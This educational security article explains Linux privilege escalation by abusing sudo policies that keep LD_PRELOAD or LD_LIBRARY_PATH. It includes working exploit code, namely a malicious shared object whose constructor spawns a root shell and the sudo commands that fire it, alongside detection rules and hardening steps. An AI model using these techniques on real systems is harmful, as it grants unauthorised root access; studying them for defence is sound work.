Abusing LD_PRELOAD and LD_LIBRARY_PATH for Linux Privilege Escalation

Linux Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

The dynamic linker (ld.so) is one of the most quietly powerful components on a Linux system. Two environment variables it honors — LD_PRELOAD and LD_LIBRARY_PATH — let a user inject arbitrary code into dynamically linked programs before they run their own main(). When a misconfigured sudo policy preserves those variables across the privilege boundary, that injection runs as root.

In this article you'll learn how to compile a malicious shared object, how a constructor function executes automatically on load, exactly which sudoers misconfigurations are exploitable, and — given equal weight — how defenders detect and shut this down. This maps to MITRE ATT&CK T1574.006 (Hijack Execution Flow: Dynamic Linker Hijacking).

How It Works / Background

When you run a dynamically linked binary, the kernel hands control to the dynamic linker, which resolves and loads the program's shared library dependencies. The linker consults environment variables during this process:

  • LD_PRELOAD — a list of shared objects to load first, before any other library. Symbols defined here override the same symbols elsewhere, so you can hijack puts(), system(), or anything else.
  • LD_LIBRARY_PATH — extra directories searched for shared libraries before the default system paths. Drop a malicious libc.so.6 or a library the target binary needs into a writable directory and you win.

The killer feature for an attacker is the constructor. A function marked with __attribute__((constructor)) runs automatically when the shared object is loaded — you don't even need the host program to call any of your symbols. The constructor fires during library initialization, immediately giving you code execution in the context of the calling process.

Because LD_PRELOAD is a security-sensitive lever, ld.so ignores it for setuid/setgid binaries (the "secure-execution" mode). That's why this technique almost always pivots through sudo instead: if sudo is configured to keep these environment variables, they survive into the root-owned child process and the protection is bypassed.

Prerequisites / Lab Setup

You need:

  • A Linux host where you have a low-privileged shell.
  • gcc available (or the ability to bring a precompiled .so).
  • A sudo rule that lets your user run something — and a policy weakness.

Inspect your sudo rights first:

sudo -l
Bash

The two exploitable conditions are:

  1. env_keep includes the relevant variable:
    Defaults        env_keep += "LD_PRELOAD"
    Defaults        env_keep += "LD_LIBRARY_PATH"
    Plaintext
  2. You're allowed to run some command via sudo (even a harmless-looking one like apache2, find, or a custom script).

If sudo -l shows an env_keep entry for LD_PRELOAD and any runnable command, you have a clean path to root.

Attack Walkthrough / PoC

Step 1 — Confirm the misconfiguration

$ sudo -l
Matching Defaults entries for user on target:
    env_reset, env_keep+=LD_PRELOAD

User user may run the following commands on target:
    (root) NOPASSWD: /usr/sbin/apache2
Bash

env_reset normally strips dangerous variables — but the explicit env_keep+=LD_PRELOAD punches a hole right through it.

Step 2 — Write the malicious shared object

Create evil.c. The constructor drops privileges cleanly to the real root and launches a shell:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init(void) {
    unsetenv("LD_PRELOAD");   // prevent recursion in child shells
    setgid(0);
    setuid(0);
    system("/bin/bash -p");   // -p preserves the elevated privileges
}
C

unsetenv("LD_PRELOAD") is important — without it, every process you spawn from the new shell would also try to preload evil.so, breaking your session.

Step 3 — Compile it as a shared object

gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c
Bash
  • -shared produces a shared object (.so) rather than an executable.
  • -fPIC emits position-independent code, required for shared libraries.
  • -nostartfiles avoids linking the standard startup files; our constructor handles everything.

Step 4 — Fire the payload

sudo LD_PRELOAD=/tmp/evil.so /usr/sbin/apache2
Bash

sudo elevates to root, keeps LD_PRELOAD because of the policy, the linker loads /tmp/evil.so first, the constructor runs as root, and you drop into a root shell:

# id
uid=0(root) gid=0(root) groups=0(root)
Bash

Variant — LD_LIBRARY_PATH hijack

If env_keep preserves LD_LIBRARY_PATH instead, identify a library the sudo-runnable binary depends on with ldd, then place a malicious replacement earlier in the search path:

$ ldd /usr/sbin/apache2 | head
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1
        ...
Bash

Build a fake libcrypt.so.1 exporting the same constructor, then:

gcc -fPIC -shared -o /tmp/lib/libcrypt.so.1 evil.c
sudo LD_LIBRARY_PATH=/tmp/lib /usr/sbin/apache2
Bash

The linker finds your version first and executes the constructor as root. Because you're overriding a real library, give it the exact SONAME the target expects.

Attack Flow Diagram

Abusing LD_PRELOAD and LD_LIBRARY_PATH for Linux Privilege Escalation diagram 1

The diagram shows the path from confirming a preserved environment variable, through compiling and preloading a shared object, to the constructor executing as root and spawning a privileged shell.

Detection & Defense (Blue Team)

This technique leaves clear configuration and runtime fingerprints. Defenders should address it on multiple layers.

1. Harden the sudoers policy. The root cause is almost always env_keep. Audit and remove any preservation of linker variables:

sudo grep -RniE 'env_keep|LD_PRELOAD|LD_LIBRARY_PATH|!env_reset' /etc/sudoers /etc/sudoers.d/
Bash

Ensure Defaults env_reset is active (it is by default) and that LD_PRELOAD/LD_LIBRARY_PATH are never in env_keep. Modern sudo also strips these for the target environment unless explicitly told otherwise — so the only fix needed is usually removing the offending line. Validate edits with visudo -c.

2. Audit the dynamic linker variables at runtime. Use auditd to flag setuid execution carrying preload variables, and monitor writes to library directories:

# Alert on processes spawned with LD_PRELOAD set
auditctl -a always,exit -F arch=b64 -S execve -F key=ld_preload_exec
ausearch -k ld_preload_exec | grep -i LD_PRELOAD
Bash

3. Detect rogue shared objects. A loaded .so from /tmp, /dev/shm, or a user-writable path is a strong signal. Inspect a running process:

cat /proc/<pid>/maps | grep -E '/tmp/|/dev/shm/|/home/'
ls -l /proc/<pid>/exe
grep -i ld_preload /proc/<pid>/environ | tr '\0' '\n'
Bash

EDR and Falco rules can match on LD_PRELOAD in process environments. A representative Falco condition:

- rule: LD_PRELOAD set on privileged exec
  condition: spawned_process and proc.env contains "LD_PRELOAD" and proc.aname[1]=sudo
  output: "Suspicious LD_PRELOAD with sudo (cmd=%proc.cmdline user=%user.name)"
  priority: WARNING
YAML

4. Enforce least privilege. Don't grant sudo on binaries that aren't strictly necessary, prefer full command paths with no wildcards, and avoid NOPASSWD for general-purpose tools. See Linux SUID and Capabilities Abuse and Sudo Misconfiguration Privilege Escalation for adjacent hardening guidance.

5. File integrity monitoring. Tools like AIDE or Tripwire watching /lib, /usr/lib, and /etc/ld.so.conf.d/ catch a planted libc.so.6 or a hijacked LD_LIBRARY_PATH directory before it's used persistently. Also check Linux Persistence Techniques for related linker-config abuse.

Conclusion

LD_PRELOAD and LD_LIBRARY_PATH are not vulnerabilities — they're legitimate features of the dynamic linker. They become a privilege-escalation primitive only when a sudo policy carelessly preserves them across the privilege boundary. The offensive side reduces to three commands: confirm with sudo -l, compile a constructor-bearing shared object with gcc -fPIC -shared, and run the allowed binary with the variable set. The defensive side is just as crisp: keep env_reset on, never env_keep linker variables, monitor for .so files in writable paths, and apply least privilege to every sudo grant. Fix the policy and the entire technique collapses.

References

Comments

Copied title and URL